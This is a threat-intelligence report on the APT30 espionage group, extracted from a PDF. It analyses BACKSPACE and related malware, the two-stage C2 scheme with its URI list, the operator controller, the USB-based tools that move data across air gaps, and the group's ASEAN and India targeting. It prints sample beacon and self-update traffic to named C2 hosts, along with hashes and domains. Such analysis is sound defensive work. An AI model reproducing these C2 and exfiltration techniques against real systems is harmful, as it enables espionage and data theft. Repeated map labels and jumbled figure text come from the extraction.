3 PROFESSIONALLY DEVELOPING TOOLS: APT30 Uses a Consistently Organized Malware Development Approach Table 1: ZRLnk version history MD5 Hash Version Compile Time Size b4ae0004094b37a40978ef06f311a75e 1.0.p.l 4 November 2010  03:51 73,728 37aee58655f5859e60ece6b249107b87 1.1.w.l 25 February 2011  02:03 32,768 8ff473bedbcc77df2c49a91167b1abeb 1.2.w.l 4 May 2011  14:46 49,152 4154548e1f8e9e7eb39d48a4cd75bcd1 1.2.w.l 4 May 2011  14:46 17,408 15304d20221a26a0e413fba4c5729645 1.2.w.l 16 May 2011  11:03 36,864 c4dec6d69d8035d481e4f2c86f580e81 1.3.w.l 26 October 2011  11:21 40,960 a813eba27b2166620bd75029cc1f04b0 1.3.p.l 28 June 2012  10:01 86,144 5b2b07a86c6982789d1d85a78ebd6c54 1.5.w.lN 8 January 2013  01:33 10,518,528 71f25831681c19ea17b2f2a84a41bbfb 1.6.w.lY 23 April 2013  08:12 57,344 6ee35da59f92f71e757d4d5b964ecf00 1.9.w.lY 28 August 2014 0 9:12 57,344 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 888 With respect to version numbers, the BACKSPACE ZJ variant has the longest revision history.
Our analysis of 55 ZJ samples showed versions from 1.2 through 20.50 spanning nearly eight years (from 2005 through 2012, based on compile times).
Besides version control, most malware used by APT30 (to include BACKSPACE, SHIPSHAPE, SPACESHIP, and FLASHFLOOD) uses a consistent methodology (a set of mutexes and events) to manage malware execution and ensure that only a single copy of a given piece of malware is running at any one time, presumably to decrease the chances of detection.
The mutexes and events are highly consistent in their naming conventions, with most containing the terms Microsoft or ZJ or both.
The mutex is created when the malware executes, and ensures only one copy is running at a time.
The events use similar naming conventions as the mutexes, and are used to signal the malware and associated threads to exit.4 The emphasis on malware versioning implies a structured and well-managed development environment.
Similarly, the close attention to ensuring only one copy of a given tool is running at a time and a well-developed, automated means of update management imply that these tools are in use by a professional team of threat actors.
We can infer that the threat actors are interested in maintaining the latest and greatest versions of their tools in their victims environments.
Likewise, the threat actors are likely operating at a sufficiently large scale that they benefit from the automated management of many of their tools.
While there is no guarantee that the tools described in this paper are exclusive to APT30, we have not yet observed these tools used by any other threat groups.
That the tools have evolved over time while maintaining a consistent amount of core functionality indicates that APT30 has development resources available to modify and customize their malware.
This implies either that APT30 is responsible for developing their own tools, or has a working relationship with developers able to support them in a consistent (and possibly exclusive) manner.
Table 2: Mutexes and events used for process execution and version control Malware Example Mutexes / Events BACKSPACE MicrosoftZj MicrosoftExit MicrosoftHaveAck MicrosoftHaveExit BACKSPACE MicrosoftZjLnk MicrosoftExitLnk MicrosoftHaveLnkAck MicrosofthaveLnkExit SHIPSHAPE MicrosoftShipZJ MicrosoftShipExit MicrosoftShipHaveAck MicrosoftShipHaveExit SPACESHIP MicrosoftShipTrZJ MicrosoftShipTrExit MicrosoftShipTrHaveExit FLASHFLOOD MicrosoftFlashZJ MicrosoftFlashExit MicrosoftFlashHaveAck MicrosoftFlashHaveExit APT30 likely either develops their own tools or has a working relationship with developers who are able to consistently - perhaps exclusively - support them.
9 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT Table 3: Example URIs used for BACKSPACE first-stage C2 URI (path/file) Function /ForZRLnk3z/hostlist.txt Validation check and list of victims to perform further actions.
/some/edih.txt Switch specified victims to hide mode.
/some/nur.txt Switch specified victims to run mode.
/ForZRLnk3z/bak.txt Switch to backup stage one C2 server (BACKSPACE is typically configured with main and backup first-stage C2 servers).
/ForZRLnk3z/app.txt Download and execute the file.
/ForZRLnk3z/myapp.txt Download and execute the file (if victim appears in hostlist.txt).
/ForZRLnk3z/ver.txt Perform version check.
/ForZRLnk3z/exe.txt Download and execute the file if the version check fails (self-update).
/ForZRLnk3z/SomeUpVer.txt Backup URI for version check.
/ForZRLnk3z/SomeUpList.txt List of hostnames that should perform self-update if backup version check fails.
/ForZRLnk3z/SomeUpExe.txt Backup URI for self-update.
/ForZRLnk3z/dizhi.gif Second-stage C2 information (IP address and port(s)).
/ForZRLnk3z/connect.gif List of victims to connect to second-stage C2 controller.
The BACKSPACE and NETEAGLE backdoors used by APT30 use a two-stage C2 infrastructure.
The backdoors are configured with an initial (stage one) set of C2 locations, typically one or more C2 domains.
Interaction with the stage one C2 is fully automated that is, the stage one C2 does not support any interactive communication between the threat actor and the victim computer.
Both BACKSPACE and NETEAGLE use HTTP requests to interact with the stage one C2, requesting URIs to download different files that are used to obtain basic instructions, information (including second stage C2 locations) or download and execute additional binaries.
While victim hosts may beacon to the second stage C2 (e.g., transmit data about the victim without expectation of a response), only those victim hosts specifically instructed to do so will establish a full connection to a BACKSPACE controller.
Once the malware has connected to the controller, the threat actor can interact directly with the victim host.
By using this two-stage approach, the threat actors introduce a layer of obfuscation between themselves and their victims.
This also allows them to better manage their victims, particularly at scale newly infected victims can interact with the stage one C2 servers in an automated fashion until the threat actors can review them and select particular hosts for interactive, stage two exploitation.
The table below shows an example set of URIs that may be requested by the BACKSPACE sample with md5 hash 6ee35da59f92f71e757d4d5b964ecf00, and the purpose of each file.5  Full URIs are in the format of hxxp://c2_domain/path/file, where c2_domain is one of the backdoors specified C2 domains path is a path name that typically varies across samples (/some/ or /ForZRLnk3z/ in the examples below) and file is the specific file requested.
USING TWO-STAGE C2 to Balance Stealth and Scalability APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 10 port 1  port 2 Stage Two C2 Server (IP:port1:port2) Stage One C2 Server BACKSPACE Victim Host 2.
Victim host downloads dizhi.gif from the Stage One C2.
4.
APT30 threat actor uses the BACKSPACE controller to generate connect.gif and upload it to the Stage One C2.
The file contains the hostname and host ID of the victim computer.
5.
Victim host downloads connect.gif from the Stage One C2, compares the hostname and host ID.
3.
Victim host transmits system information via HTTP POST beacon to IP:port1 (connection is instantly created).
6.
Victim host establishes a separate TCP connecton to IP:port2 for remote control (connection is kept during the control).
port 1 port 1  port 2 port 2 dizhi.gif dizhi.gif connect.gif connect.gif system information Figure 1: A typical victim interaction with the stage one and stage two C2 servers 1.
APT30 threat actor uses the BACKSPACE controller to generate dizhi.gif and upload it to the Stage One C2.
The file contains IP:port1:port2 information for Stage Two C2.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 11 APT30S FULL-FEATURED BACKDOOR CONTROL SYSTEM Suggests Target Prioritization and Shift Work Additional information about APT30s operations can be inferred by examining the GUI controller used to manage their BACKSPACE backdoors.
FireEye analyzed three copies of the BACKSPACE controller software, known as the NetEagle Remote Control System 6 (according to the version information from one sample) or  (according to the About dialog box).
Although the copies we analyzed were compiled in 2010, 2011, and 2013 respectively, the tools descriptions indicate the original controller software may have been developed as early as 2004.7 The BACKSPACE controller is a well-developed, full-featured GUI tool.
The controller includes main menu items for System, Network, File, Remote, and Attack operations, in addition to the About dialog box.
Information about victim hosts connected to the controller is displayed in the lower panes, including the hostname, internal and external IP addresses, system uptime, and OS version and language.
Figure 2: Version information from BACKSPACE controller Figure 3: About dialog box from NetEagle BACKSPACE controller Many of APT30s tools perform version checks and attempt to self-update.
Comments: 2004 Microsoft Corporation.
Flyeagle science and technology company NetEagle Remote Control Software FileVersion: 4.2 InternalName: Neteagle 2004 NETEAGLE.EXE PrivateBuild: NetEagle Remote Control Software 4.2 SpecialBuild: 12 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT Figure 5:  BACKSPACE controller showing sample victim idle (top), and with remote control established (bottom) Figure 4: BACKSPACE controller GUI with sample victim data ESTABLISHING REMOTE CONTROL Communication with the stage two C2 server (e.g., the BACKSPACE controller) is managed via two files hosted on the stage one C2 server, dizhi.gif and connect.gif.
BACKSPACE victim computers will retrieve dizhi.gif and transmit information about the victim computer (via HTTP POST) to the second stage IP address and port specified in that file.
This victim information is used to populate the controller GUI (see Figure 4).
However, BACKSPACE clients do not establish interactive connections to the BACKSPACE controller by default, as this would increase the risk of exposing the second-stage C2 server.
When a threat actor wants to establish remote control over a victim host, he uploads a notification file (e.g., connect.gif) containing the victim hostname and host ID number to the stage one C2 server.
Victim hosts will parse the connect.gif file retrieved from the server and connect to the BACKSPACE controller (using the data from dizhi.gif) if their hostname and host ID are present in the file.
System           Network             File     Remote   Attack  About Local Info          Computer Name                           IP                                                     Location                                                                Refresh Interval (min)       Online Capacity Hostname                      Public IP                        Private IP                     Location                         Up-Time         OS         Comment   Host ID     Domain Controller Name Domain Hostname                      Public IP           Private IP         Location     Up-Time    OS/Language                                                                           Comment        Host ID Controller Name  13 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT Figure 6: Configuration options for dizhi.gif and connect.gif Both dizhi.gif and connect.gif are generated by the BACKSPACE controller based on user- defined configuration settings and automatically uploaded to the stage one C2 server.
This simplifies management of victim computers, reduces the risk of configuration errors, and allows even relatively unskilled operators to manage C2 infrastructure and victim hosts.
The screen shot below shows the configuration options for the two files, including the FTP credentials used to connect to the stage one server, the path for the files, the names of the files, and the primary and backup stage one C2 servers.
These same configuration settings are used to customize a copy of the BACKSPACE malware, by patching the relevant bytes within the BACKSPACE binary.
Similarly, a second dialogue box allows the threat actor to specify the ports (listed in dizhi.gif) used for communication with the second stage C2 server/BACKSPACE controller.
The first port is used to transmit victim data via HTTP POST.
The second port is used to establish an interactive connection with the BACKSPACE controller.
The third port is used for a reverse command shell between the controller and the victim.
Double-clicking an idle victim in the BACKSPACE controller GUI will automatically create (or update) connect.gif with that victims hostname and host ID and upload the new file to the stage one C2 server.
The next time the victim parses the file, it will establish a connection to the controller.
Figure 7: Dialog box for configuring ports for second stage C2 14 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT Figure 8: Sample victim host data sent to BACKSPACE controller BACKSPACE CONTROLLER  BACKDOOR COMMUNICATION The BACKSPACE controller uses a modified HTTP protocol to communicate with BACKSPACE clients on victim hosts.
Victim hosts send data to the controller in HTTP POST format.
When the controller receives the data, it ignores other HTTP headers and only parses the Content-Length value and the body data.
No acknowledgement packet is sent back to the backdoor.
The BACKSPACE controller sends remote command messages to BACKSPACE clients in the format below, disguised as a response from a Microsoft IIS 6.0 server.
Similar to the controller, the BACKSPACE client only parses the Content- Length field and the remote command stored in the body and ignores other HTTP headers.
POST /index.htm HTTP/1.0 User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Win32) HOST: 192.168.43.130:80 Pragma: no-c ache Content-Length: 235 Proxy-Connection: Keep-Alive USER-29861D99F7.192.168.43.133.............(......Service Pack 3......................................................................... .....................................................N..1.0.p.18:32.www.stonehoof.
com/ForZRMail..
Figure 9: Sample remote command sent from controller to BACKSPACE backdoor HTTP/1.1 200 OK Server: Microsoft-IIS6.0 Content-Length: 12 Content-Type: / Accept-Ranges: bytes Connection: Keep-Alive B....C:\.. TARGET HOST PRIORITIZATION AND ALERTS The BACKSPACE controller allows the threat actors to further manage their victim hosts by labeling individual hosts with a comment, assigning a priority level to the victim (Normal, Important, or Very Important), and setting an alert to notify the threat actor when the victim host comes online.
Figure 10: Dialog box to set priority and other options on a victim host APT30 assigns a priority level to their victims: Normal, Important, and Very Important.
15 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT Figure 12: BACKSPACE controller showing path used by other APT30 tools Figure 11: BACKSPACE controller automatically execute custom task command EXECUTING CUSTOM TASKS The BACKSPACE controller includes a menu item called Automatically Execute Custom Task (highlighted below) which sends the O command supported by some variants of the BACKSPACE backdoor.8 When the backdoor receives this command, it uploads data to the controller from predefined paths on the victim host (LDDATA\ and WINDIR\NtUninstallKB900727\).
This special command appears to be used to retrieve  stolen data from the victim computer in an automated fashion (as opposed to manually uploading files or directories).
Of note is that these paths are found in other tools used by APT30 (specifically SPACESHIP and FLASHFLOOD) believed to be used to target air- gapped computers and networks.9 Below the Automatically Execute Custom Task menu item is another custom option for GOTO custom path.
When selected, that menu item also directs the operator to a predefined custom path (one used by some versions of FLASHFLOOD) by default: VERSION CONTROL AND AUTOMATIC UPDATES Like many of the tools used by APT30, the BACKSPACE controller also performs a version check and attempts to self-update.
The controller will transmit the following HTTP requests for a version file (NetEagleVer.txt) and updated binary (NetEagle.exe) when it starts.
Figure 13: BACKSPACE controller version check and self-update GET /NE.General NetEagleVer.txt HTTP/1.1 Accept: / User-Agent: HttpClient Host: www.km153.com GET /NE.General/NetEagle.exe HTTP/1.1 Accept: / User-Agent: HttpClient Host: www.km153.com 16 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT Figure 15: BACKSPACE controller attendant dialog box Figure 14: Encoded disk serial numbers in the BACKSPACE controller binary DISK SERIAL NUMBER AUTHENTICATION The BACKSPACE controller also includes a check to ensure that the controller is only run on authorized machines.
The controller compares the local hosts hard disk serial number with 45 encoded serial numbers hardcoded within the controller binary, and continues execution only if there is a match.
This indicates that the developers of the controller wanted to limit its distribution and use.
The developers could have written the controller for themselves alternately, the controller could have been sold with built-in restrictions so the developers could continue to write and sell custom versions to others.10  Given the tightly integrated nature of much of APT30s malware (with each other and with the controller) and the fact that the controllers themselves use APT30 domains to perform self-update checks, it seems more likely that APT30 (or a group of developers closely aligned with them) created the controller for their own use.
APT30 POSSIBLY WORKING ON SHIFTS In our analysis of the BACKSPACE controller, we identified a dialog box in the portable executable (PE) resource section.
The dialog box included a login prompt with the text, which translates to Please enter your attendant code.
This suggests the tool may have been designed to track work shifts amongst multiple operators, although this particular feature was disabled in the sample we analyzed.
The history of the BACKSPACE controller (possibly written as early as 2004, and still compatible with BACKSPACE variants compiled within the past year) reflects a tool developed over time and designed to facilitate detailed interaction with victim hosts through a relatively simple interface.
The tool is capable of supporting interaction with a large number of victim hosts, and includes features to allow the operator to filter, prioritize, alert on, and otherwise manage his or her victims, implying operations large enough to warrant such features.
The controller exhibits the same diligent version control and self-updating features observed in other malware used by APT30.
In addition, the serial number checks built in to the BACKSPACE controller imply a very limited distribution tool designed to be used by only a select number of users.
Finally, the attendant dialog box implies that the controller itself may have been designed for use in a highly organized environment.
All of these factors point to a threat group with long-term, organized, and structured development resources a need to manage and track a potentially large number of victims over time and an organized work force responsible for carrying out the groups objectives.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 17 APT30S PRIMARY MISSION: Data Theft for Political Gain Based on our knowledge of APT30s targeting activity and tools, their objective appears to be data theft as opposed to financial gain.
APT30 has not been observed to target victims or data that can be readily monetized (for example, credit card data, personally identifiable information, or bank transfer credentials).
Instead, their tools include functionality that allows them to identify and steal documents, including what appears to be an interest in documents that may be stored on air-gapped networks.
Both the BACKSPACE and NETEAGLE backdoors support a range of command functions that allow the threat actors to manipulate files on the victim host, including reading and writing files, searching for files with specific names or attributes, deleting files, and uploading selected files to the controller.
11  While those commands are not atypical for full-featured backdoors, some of the BACKSPACE commands are more specialized, returning file metadata (such as file name, size, attributes, and MAC times) to the controller.12 Transmitting metadata allows BACKSPACE to send less data to the server and for the threat actor to determine, based on results, which files to select for uploading  both techniques result in less data transferred over the network, which is less likely to draw attention.
SHIPSHAPE, SPACESHIP, and FLASHFLOOD are three separate pieces of malware with different functions that appear to be designed to work together to infect removable drives, spread to additional systems (including potentially air- gapped systems), and steal files of interest.
The tools frequently reference (in the mutexes, events, and registry keys they use) the terms Flash (perhaps for flash drive), Ship, ShipTr, and ShipUp, as though the tools were designed to ship data between computers and a removable drive.
We identified one SPACESHIP variant that used the term LunDu where the term ShipTr would normally appear.
LunDu () means ferry in Chinese and the malware may be designed to ferry stolen documents from an air-gapped network, to a removable drive, to an Internet-connected host where they can be removed by the attacker.
In addition, the malware frequently uses the initials LD in several places, including the SHIPSHAPE version file (ldupver.
txt), the folder \LDDATA\ used by some versions of SPACESHIP to store stolen data, and the .ldf file extension on the encoded files containing stolen data.
The three tools have separate but complimentary functions: 13 SHIPSHAPE is designed to copy files from specific paths on a SHIPSHAPE-infected computer to a removable drive inserted into the host.
SHIPSHAPE looks for existing files and folders on the removable drive and marks them as hidden.
It then copies executable files to the removable drive, using the same names as the existing files and folders, but with an .exe extension.
SHIPSHAPE modifies the host settings to hide file extensions, so the executables appear to be the original documents.
When viewed in Windows Explorer, the contents of the removable drive appear normal: Figure 16: Removable drive infected by SHIPSHAPE APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 18 However, viewing the contents of the drive from the command line will show both sets of files: Figure 17: Actual contents of infected drive A user attempting to open a document from the infected drive would execute a copy of the malware instead.
SPACESHIP is believed to be the malware that is copied to a removable drive by SHIPSHAPE, presumably to transfer SPACESHIP to an air- gapped computer.
SPACESHIP is designed to search a victim computer for specific files (based on file extension or last modified time).
Files that match the search criteria are compressed, encoded, and copied to a specified location on the infected host.
When a removable drive is inserted into the infected computer, the encoded files are copied from that location to the removable drive.
FLASHFLOOD is responsible for copying files from an inserted removable drive to the hard drive of an infected computer, presumably to remove files transferred from the air-gapped system to an Internet-connected machine for removal from the victim network.
FLASHFLOOD will scan both the infected system and any inserted removable drive for specific files (based on file extension or last modified time) and copy them to a specified location, using the same compression and encoding method as SPACESHIP.
FLASHFLOOD may also log additional information about the victim host, including system information and data from the users Windows Address Book.
APT30 identifies and steals documents, especially documents that may be stored on air-gapped networks.
Malicious files APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 19 APT30S TARGETS ALIGN with Chinese Government Interests and Focus on Southeast Asia APT30 has routinely set its sights on targets across Southeast Asia and India.
We have observed APT30 target national governments, regionally based companies in ten industries, and members of the media who report on regional affairs and Chinese government issues.
Based on APT30s confirmed targets and their intended victims, the groups interests appear to concentrate on Southeast Asia regional political, economic, and military issues, disputed territories, and topics related to the legitimacy of the Chinese Communist Party.
This evidence leads us to believe that APT30 serves a governments needs for intelligence about key government and industry entities in Southeast Asia and India.
We used a variety of sources to understand APT30s intended targets.
Our sources include: APT30 malware alerts from FireEye customers, phishing decoy document content and intended recipients, over 200 APT30 malware samples, and APT30s operational timing and infrastructure.
We also noted that some 96 of the APT30 malware that we detected through our products attempted to compromise our clients located in East Asia.
Figure 18: APT30 malware detections by FireEye customer by country, October 2012  October 2014 1 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT India South Korea Malaysia Vietnam Nepal Bhutan Philippines Singapore Indonesia Brunei Myanmar Laos Cambodia Japan Thailand Saudi Arabia United States Countries with Confirmed APT 30 Targets Countries with Likely APT30 Targets 1 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT India South Korea Malaysia Vietnam Nepal Bhutan Philippines Singapore Indonesia Brunei Myanmar Laos Cambodia Japan Thailand Saudi Arabia United States Countries with Confirmed APT 30 Targets Countries with Likely APT30 Targets 1 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT India South Korea Malaysia Vietnam Nepal Bhutan Philippines Singapore Indonesia Brunei Myanmar Laos Cambodia Japan Thailand Saudi Arabia United States Countries with Confirmed APT 30 Targets Countries with Likely APT30 Targets 1 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT India South Korea Malaysia Vietnam Nepal Bhutan Philippines Singapore Indonesia Brunei Myanmar Laos Cambodia Japan Thailand Saudi Arabia United States Countries with Confirmed APT 30 Targets Countries with Likely APT30 Targets 1 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT India South Korea Malaysia Vietnam Nepal Bhutan Philippines Singapore Indonesia Brunei Myanmar Laos Cambodia Japan Thailand Saudi Arabia United States Countries with Confirmed APT 30 Targets Countries with Likely APT30 Targets 1 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT India South Korea Malaysia Vietnam Nepal Bhutan Philippines Singapore Indonesia Brunei Myanmar Laos Cambodia Japan Thailand Saudi Arabia United States Countries with Confirmed APT 30 Targets Countries with Likely APT30 Targets APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 20 APT30 PURSUES MEMBERS of the Association of Southeast Asian Nations (ASEAN) The group expresses a distinct interest in organizations and governments associated with ASEAN, particularly so around the time of official ASEAN meetings.
ASEAN is a major regional organization whose member states promote cooperation and collaboration on a range of political, economic, educational, and social issues.
ASEAN currently consists of ten member states:  Indonesia, Malaysia, the Philippines, Singapore, Thailand, Brunei, Vietnam, Laos, Myanmar, and Cambodia.
ASEAN-THEMED INFRASTRUCTURE AND CUSTOMIZED TOOLS APT30 has registered ASEAN-themed domains for C2 and compiled data-stealing malware that appears to be specifically designed around ASEAN events.
APT30 is most likely trying to compromise ASEAN members or associates to steal information that would provide insight into the regions politics and economics.
The domain aseanm[.
]com,  which appears to be designed to mimic ASEANs legitimate domain (www.asean.org), was first registered in March 2010.
FireEye identified over 100 BACKSPACE malware variants that use that domain for C2, with compile dates that align with significant events in the ASEAN community.
The table below shows compile times for known BACKSPACE samples that use aseanm[.
]com for C2 frequently align with ASEAN events: Event Date 899f512f0451a0ba4398b41ed1ae5a6d compiled 5 May 2011  6:35 e6035ec09025c1e349a7a0b3f41e90b1 compiled 5 May 2011  6:35 18th ASEAN Summit,  Jakarta,  Indonesia 78 May 2011 36a6a33cb4a13739c789778d9dd137ac compiled 9 May 2011  3:34 Seventh ASEAN Plus Three Labour Ministers Meeting (7th ALMM3), Phnom Penh, Cambodia 16 11 May 2012 572c9cd4388699347c0b2edb7c6f5e25 compiled 11 May 2012  0:06 f3c29a67a7b47e644e9d1a2a0516974e compiled 11 May 2012  0:06 Senior Officials from ASEAN and China meet on implementation of the Declaration on the Conduct of Parties on the East Sea (DOC)17 2425 June 2012 afe8447990ecb9e1cd4086955b7db104 compiled 26 June 2012 1:43 b5546842e08950bc17a438d785b5a019 compiled 26 June 2012 1:43 ASEAN-India Commemorative Summit, New Delhi, India18 1220 December 2012 310a4a62ba3765cbf8e8bbb9f324c503 compiled 20 December 2012  3:53 Table 4: ASEAN events and compile times for BACKSPACE samples using aseanm.com, 2011 - 2012 21 APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT A large number of recent BACKSPACE samples helps bolster our assessment that the malware was compiled for use in campaigns centered on major ASEAN issues.
87 more recent BACKSPACE samples using the C2 domain aseanm[.
]com were compiled clustered around a handful of dates in January and April 2013.
35 samples were compiled on December 31, 2012 and January 4 and 5, 2013 on January 1, 2013, a new Secretary-General of ASEAN, Le Luong Minh, took office for his five-year term.19 20 Similarly, 61 samples were compiled on April 22 and 23, 2013 the 22nd ASEAN Summit took place in Brunei on April 24  25, 2013.
CUSTOMIZED MALWARE DEPLOYED AROUND ASEAN SUMMITS IN JANUARY AND APRIL 2013 Threat actors customization of malware can be a good indication of their level of intent on gaining access to a given target it shows the actors have put a concerted effort into their targeting attempts, instead of taking a widespread spray and pray approach.
APT30 deployed customized malware for use in specific campaigns targeting ASEAN members or nations with close ties or interests aligned with ASEAN states in January 2013 and April 2013.
APT30 created the custom BACKSPACE ZJ Auto (mutex MicrosoftZjAuto), ZJ Link (mutex MicrosoftZjLnk), and ZJ Listen (mutex ZjListenLnk) variants.
These malware samples were customized in two ways: (1) tailored URLs in BACKSPACE C2 communications that may represent ASEAN country codes, and (2) custom data theft and communication functions.
Tailored URLs One of the customizations was in the specific URLs used for BACKSPACE C2 communications.
BACKSPACE uses HTTP for much of its C2, retrieving various files from the first-stage C2 server, each of which may contain additional instructions for the malware.
The C2 URL format is typically http://c2_domain/path/file, where c2_domain is the first-stage C2 location, path is a directory name that may vary across samples, and filename is the file to be downloaded (e.g., dizhi.gif).
The path names used in the BACKSPACE samples from January and April 2013 may indicate the country of origin for the malwares intended victims (red added for emphasis) on the table below: Table 5: Possible targets of 2013 BACKSPACE campaigns BACKSPACE Variant Path Possible Target ZJ Auto (version 1.4) /autoIN/ India ZJ Auto (version 1.4) /autoMM/ Myanmar ZJ Auto (version 1.4) /autoSA/ unknown ZJ Auto (version 1.4) /autoTH/ Thailand ZJ Link (version F2.2LnkN / F2.3LnkN) /Forward-mci/ Singapore ZJ Link (version F2.2LnkN / F2.3LnkN) /Forward-ph/ Philippines ZJ Link (version F2.2LnkN / F2.3LnkN) /Forward-SA/ unknown ZJ Link (version F2.2LnkN / F2.3LnkN) /Forward-th/ Thailand ZJ Link (version F2.2LnkN / F2.3LnkN) /Forward-yw1/ unknown ZJ Listen (versions Lan2.2LnkN, Lan2.2LnkY) /Forward-mci/ Singapore ZJ Listen (versions Lan2.2LnkN, Lan2.2LnkY) /Forward-ph/ Philippines ZJ Listen (version Lan2.2LnkY) /Forward-SA/ unknown ZJ Listen (version Lan2.2LnkY) /Forward-th/ Thailand ZJ Listen (versions Lan2.2LnkN, Lan2.2LnkY) /Forward-yw1/ unknown APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 22 Customized Malware Supporting Data Theft The only identified BACKSPACE ZJ Auto variants were all compiled on January 4 and 5, 2013 and appear to be unique to that campaign.
This variant of BACKSPACE incorporated two additional features of note.
First, ZJ Auto will search a set of specified file paths for files of interest, and upload the list of files found to the second-stage C2 server: WINDIR\NtUninstallKB90072722 WINDIR\NtUninstallKB885884 CSIDL_PROGRAMS\Outlook Express\data CSIDL_COMMON_PROGRAMS\Outlook Express\data custom paths specified in the file path.ini In addition, the ZJ Auto variant of BACKSPACE incorporated the custom command  (0x7B).
When the malware receives this command from the controller, it will upload any files located in the specified paths to the second-stage C2 server and then delete them from the local drive.
Similarly, the ZJ Link variants were almost all compiled in either January 2013 or April 2013,23 and also appear to be largely unique to those campaigns.
The ZJ Link variants added the commands  (0x5E) and ( (0x28).
downloads a file to the special directory CSIDL_TEMPLATES24 and renames the file.
(
checks that the ZJ Link-infected computer can communicate with a specified host25 on ports 21, 80, and 443.
ZJ Link appears to be designed to work on concert with another unique variant, ZJ Listen.26  ZJ Listen variants listen for inbound connections on those same ports (21, 80, and 443) it is the only variant identified to date designed to receive C2 commands from an external source, as opposed to establishing an outbound connection to a C2 server.
ZJ Listen could be installed on an isolated LAN with no direct Internet connectivity, while ZJ Link could be installed on a normal, Internet-accessible computer.
ZJ Link can accept standard commands from the BACKSPACE second-stage C2 server, and relay commands and responses to the ZJ Listen-infected computer on the isolated network.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 23 Figure 19: APT30 decoy document on topics related to Chinas border security SOCIAL ENGINEERING Consistently Includes Regional Security and Political Themes Many of APT30s decoy documents use topics related to Southeast Asia, India, border areas, and broader security and diplomatic issues.
Decoy documents attached to spear phishing emails are frequently indicators of intended targeting because threat actors generally tailor these emails to entice their intended targets who typically work on related issuesto click on the attachments and infect themselves.
APT30 LEVERAGES MAJOR POLITICAL TRANSITION AS PHISHING LURE CONTENT IN CAMPAIGN GEARED TO KEY POLITICAL STAKEHOLDERS In late summer 2014, FireEye detected an APT30 spear phishing campaign at one of our regional customers.
The decoy document topic related to a significant political transition in Southeast Asia.
The phishing email, which contained a backdoor compiled the day prior, was likely an attempt to gain access to targets that would give APT30 actors insight into the level of instability and pending changes in the countrys political leadership.
Such information is typically a high priority for a governments intelligence collection efforts.
According to the spear phishing emails recipients list, the email was sent to over thirty recipients in the countrys Financial Services, Government and Defense sectors.
APT30 targeted both professional and personal (Gmail, Hotmail) email accounts.
The email was crafted entirely in the countrys language, and the messages subject translated to foreign journalists reactions to the political transition.
This topic would likely be of interest to individuals in security roles, leadership positions, diplomatic jobs, or public or press-facing roles.
The spear phishing email was either sent from a compromised email account of one of the countrys governmental agencies or was convincingly spoofed to look as though it originated from that agency.
REPEATED DECOY SUBJECTS ON INDIA- CHINA MILITARY RELATIONS AND CONTESTED REGIONS APT30 appears to use decoy documents about Chinas relationship with India, particularly their military relations, likely in an attempt to compromise targets with information about this bilateral relationship.
APT30 leveraged the text of a legitimate academic journal on Chinas border security challenges in one of its decoy documents.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 24 Similarly, several of APT30s decoy themes have centered on Indian defense and military materiel topics.
In particular, a number of spear phishing subjects have related to Indian aircraft carrier and oceanographic monitoring processes, which probably indicates a specific interest in naval and maritime themes around Indian military activity and disputes in the South China Sea.
The decoy document depicted in Figure 20 correlates to the actual building and launch of Indias first Indian- built aircraft carrier.
Decoy documents are not the only evidence of APT30s targeting of Indian organizations.
India-based users of VirusTotal have submitted APT30 malware to the service, suggesting that Indian researchers discovered APT30s suspicious activity at Indian organizations as well.
FireEye has also identified alerts from APT30 malware at India-based customers including: An Indian aerospace and defense company An Indian telecommunications firm Another recurring theme in APT30s decoy documents relates to regionally contested territories, including Bhutan and Nepal.
Nepal and Bhutan are important buffer states in China-India border conflicts and represent an opportunity to assert regional military dominance in Asia.
Figure 20: APT30 decoy document on topics related to Indias aircraft carrier Figure 21: APT30 decoy document on topics related to Bhutan Several decoy themes center on Indian defense and military materiel topics.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 25 The decoy document depicted in Figure 21 correlates to August 2013s 21st Round of Boundary Talks between Bhutan and China.
This text was taken verbatim from press release put out by Bhutans Ministry of Foreign Affairs.27 Nepal is also a key battleground for influence between China and India and serves a theme in APT30 decoy documents.
Traditionally Nepal has rested securely in Indias sphere of influence, but more recently, China has become a more influential player with large investments in infrastructure projects, increased funding to the military and police, and other traditional Chinese influence efforts (for example, establishing Confucius Institutes).
Beyond the ongoing border tensions, Nepal is also strategic to both India and China for its significant water resources.
The decoy document below depicts a Nepal-related APT30 phishing decoy document.
Figure 22: APT30 decoy document related to Nepal Nepal is a key battleground for influence between China and India, and serves a theme in APT30 decoy documents.
APT30 and the Mechanics of a Long-Running Cyber Espionage OperationSPECIAL REPORT 26 In addition to APT30s Southeast Asia and India focus, weve observed APT30 target journalists reporting on issues traditionally considered to be focal points for the Chinese Communist Partys sense of legitimacy, such as corruption, the economy, and human rights.
